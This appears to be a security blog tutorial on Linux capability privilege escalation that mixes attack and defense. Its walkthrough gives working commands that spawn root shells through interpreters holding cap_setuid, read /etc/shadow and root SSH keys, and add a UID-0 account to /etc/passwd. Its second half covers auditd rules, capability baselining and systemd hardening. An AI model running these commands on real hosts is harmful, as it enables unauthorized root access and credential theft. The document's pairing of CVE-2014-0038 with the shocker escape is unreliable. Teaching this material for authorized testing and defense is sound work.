Disclaimer: This article is for educational purposes and authorized security testing only. Only run these techniques against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
Introduction
The classic Linux privilege model is binary: you are either root (UID 0) or you are not. In reality, that "all-or-nothing" model has been broken up since kernel 2.2 into roughly 40 discrete capabilities. Instead of granting a binary the full power of root via the SUID bit, an administrator can grant it only the specific slice of root power it needs — for example, the ability to bind to a low port.
This is good security hygiene in theory. In practice, capabilities are routinely misassigned, and a single overly-broad capability on a common binary can hand an attacker a trivial path to root. In this article you'll learn how to enumerate capabilities with getcap, how to abuse the two most dangerous ones in real engagements — cap_setuid and cap_dac_read_search — and how defenders should detect and prevent the abuse.
How It Works / Background
A capability is a privilege that the kernel checks independently. Rather than the kernel asking "is this process UID 0?", it asks "does this process hold capability X?". File capabilities are stored in an extended attribute named security.capability on the binary's inode.
Each binary can carry capabilities in three sets, expressed in getcap output with a suffix:
- Permitted (
+p): capabilities the process is allowed to raise into its effective set. - Effective (
+e): capabilities active without any extra work by the program. - Inheritable (
+i): passed across anexecve().
For offensive purposes the meaningful distinction is +ep versus +p. If a binary has cap_setuid+ep, the capability is already effective. If it only has +p, the program must explicitly raise it (which interpreters like Python can do for us). The two capabilities worth memorizing:
| Capability | What it grants | Why it's lethal |
|---|---|---|
cap_setuid |
Call setuid(0) to change UID arbitrarily |
Direct root shell |
cap_dac_read_search |
Bypass file read and directory search permission checks | Read any file: /etc/shadow, SSH keys |
cap_dac_override |
Bypass all DAC read and write checks | Overwrite /etc/passwd |
cap_setgid |
Arbitrary GID change | Group-based access, often paired with setuid |
The man page capabilities(7) is the authoritative reference for the full list.
Prerequisites / Lab Setup
You need a low-privileged shell on a Linux host and the libcap2-bin package (which provides getcap/setcap). To build a vulnerable lab, set these capabilities yourself as root:
# Lab setup (run as root) — DO NOT do this on production
which python3
sudo setcap cap_setuid+ep /usr/bin/python3.11
sudo cp /usr/bin/perl /tmp/perl-vuln
sudo setcap cap_dac_read_search+ep /tmp/perl-vulnBashNow you have a Python binary that can change UID and a Perl copy that can read any file.
Attack Walkthrough / PoC
Step 1 — Enumerate capabilities
The first move after landing a shell is to recursively scan for file capabilities. On modern libcap, use -r; on older versions fall back to find.
# Modern getcap
getcap -r / 2>/dev/null
# Portable fallback
find / -type f -exec getcap {} \; 2>/dev/nullBashTypical interesting output:
/usr/bin/python3.11 cap_setuid=ep
/tmp/perl-vuln cap_dac_read_search=ep
/usr/bin/ping cap_net_raw=epPlaintextcap_net_raw on ping is normal and benign. The Python and Perl lines are not.
Step 2 — Abuse cap_setuid for a root shell
When cap_setuid is effective (=ep) on an interpreter, we simply ask the language to call setuid(0) and then spawn a shell. Python makes this a one-liner:
/usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("/bin/bash")'Bash$ id
uid=1000(lowpriv) gid=1000(lowpriv) groups=1000(lowpriv)
$ /usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# id
uid=0(root) gid=1000(lowpriv) groups=1000(lowpriv)PlaintextNote the gid is still 1000 — cap_setuid only changes the UID. That is almost always enough for root, but if cap_setgid is also present you can add os.setgid(0) first.
The same idea works in other interpreters that GTFOBins documents for this capability:
# Perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# Node.js
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: "inherit"})'BashStep 3 — Abuse cap_dac_read_search to read protected files
cap_dac_read_search does not give you a UID change. Instead it bypasses discretionary access control checks for reading files and traversing directories. You stay UID 1000, but you can read /etc/shadow, root's SSH private key, or any other file.
# Confirm you cannot read it normally
cat /etc/shadow
# cat: /etc/shadow: Permission denied
# Read it via the capability-bearing Perl binary
/tmp/perl-vuln -e 'open(F,"<","/etc/shadow"); print while <F>;'Bashroot:$6$Xy...snip...:19700:0:99999:7:::PlaintextDump the root hash and crack it offline with hashcat, or grab /root/.ssh/id_rsa and log in directly. This capability is the engine behind the famous CVE-2014-0038 / shocker container escape, where cap_dac_read_search plus open_by_handle_at() let an attacker brute-force inode handles on the host filesystem from inside a container.
A practical Python reader works the same way if Python holds the capability:
python3 -c 'print(open("/root/.ssh/id_rsa").read())'BashStep 4 — cap_dac_override for full takeover
If you instead find cap_dac_override, you can write to any file. The cleanest persistence is appending a root user to /etc/passwd:
# openssl-generated password hash for "pwned"
echo 'hacker:$1$abc$X.x:0:0::/root:/bin/bash' >> /etc/passwd # via a cap_dac_override binary
su hackerBashAttack Flow Diagram

The diagram shows enumeration with getcap, branching on which capability is found, and each branch converging on root access.
Detection & Defense (Blue Team)
Capability abuse is preventable and detectable. Treat these defenses with the same priority as patching.
1. Audit existing capabilities regularly. Inventory every file capability on every host and alert on anything outside an approved allowlist. The defender's enumeration command is identical to the attacker's:
getcap -r / 2>/dev/nullBashBuild a baseline and diff it on a schedule. Only cap_net_raw on ping/ping6 and cap_net_bind_service on web servers should be routine; cap_setuid, cap_dac_*, and cap_sys_admin on interpreters are red flags.
2. Never grant capabilities to interpreters. Python, Perl, Ruby, Node, and shells should never carry file capabilities, because they let an attacker invoke arbitrary syscalls with that privilege. If a service genuinely needs a capability, grant it to a small, single-purpose compiled binary and drop the capability immediately after use with prctl(PR_CAPBSET_DROP) or libcap's cap_drop_bound().
3. Monitor for the dangerous syscalls with auditd. A capability is only useful when exercised. Watch for setuid(0) and open_by_handle_at:
# /etc/audit/rules.d/caps.rules
-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k priv_setuid
-a always,exit -F arch=b64 -S open_by_handle_at -k dac_read_bypass
-w /usr/bin/setcap -p x -k setcap_execBashAlert when a non-root user (auid>=1000) calls setuid(0) from an interpreter — legitimate software almost never does this.
4. Detect setcap usage and xattr changes. The security.capability extended attribute is the persistence mechanism. Use a file integrity monitor (AIDE, Tripwire, or osquery's process_file_events) to flag new capability xattrs. The osquery table file does not expose caps directly, but you can run getcap -r through a scheduled query pack.
5. Enforce no-new-privileges and seccomp. Run services with NoNewPrivileges=yes in their systemd unit and a restrictive CapabilityBoundingSet:
[Service]
NoNewPrivileges=yes
CapabilityBoundingSet=CAP_NET_BIND_SERVICEINIThis caps what any descendant process can ever gain, neutralizing a misassigned file capability even if one slips in.
6. Map to ATT&CK. This activity is T1548 — Abuse Elevation Control Mechanism and T1068 — Exploitation for Privilege Escalation. Ensure your detections are tied to these technique IDs in your SIEM.
For related local-privesc tradecraft, see my write-ups on abusing SUID binaries, sudo misconfiguration exploitation, and Linux cron job hijacking.
Conclusion
Linux capabilities exist to reduce the blast radius of privileged programs, but a single careless setcap cap_setuid+ep /usr/bin/python3 undoes the entire benefit and gifts an attacker an instant root shell. The offensive workflow is trivial — enumerate with getcap -r /, then pivot through an interpreter — which is exactly why defenders must baseline capabilities, keep them off interpreters, and audit setuid(0) calls. Capabilities are a powerful least-privilege tool, but only when assigned with surgical precision.
References
- MITRE ATT&CK — T1548 Abuse Elevation Control Mechanism: https://attack.mitre.org/techniques/T1548/
- MITRE ATT&CK — T1068 Exploitation for Privilege Escalation: https://attack.mitre.org/techniques/T1068/
capabilities(7)man page: https://man7.org/linux/man-pages/man7/capabilities.7.html- GTFOBins (capabilities entries): https://gtfobins.github.io/
- HackTricks — Linux Capabilities: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities
- CVE-2014-0038 (shocker / open_by_handle_at): https://nvd.nist.gov/vuln/detail/CVE-2014-0038



Comments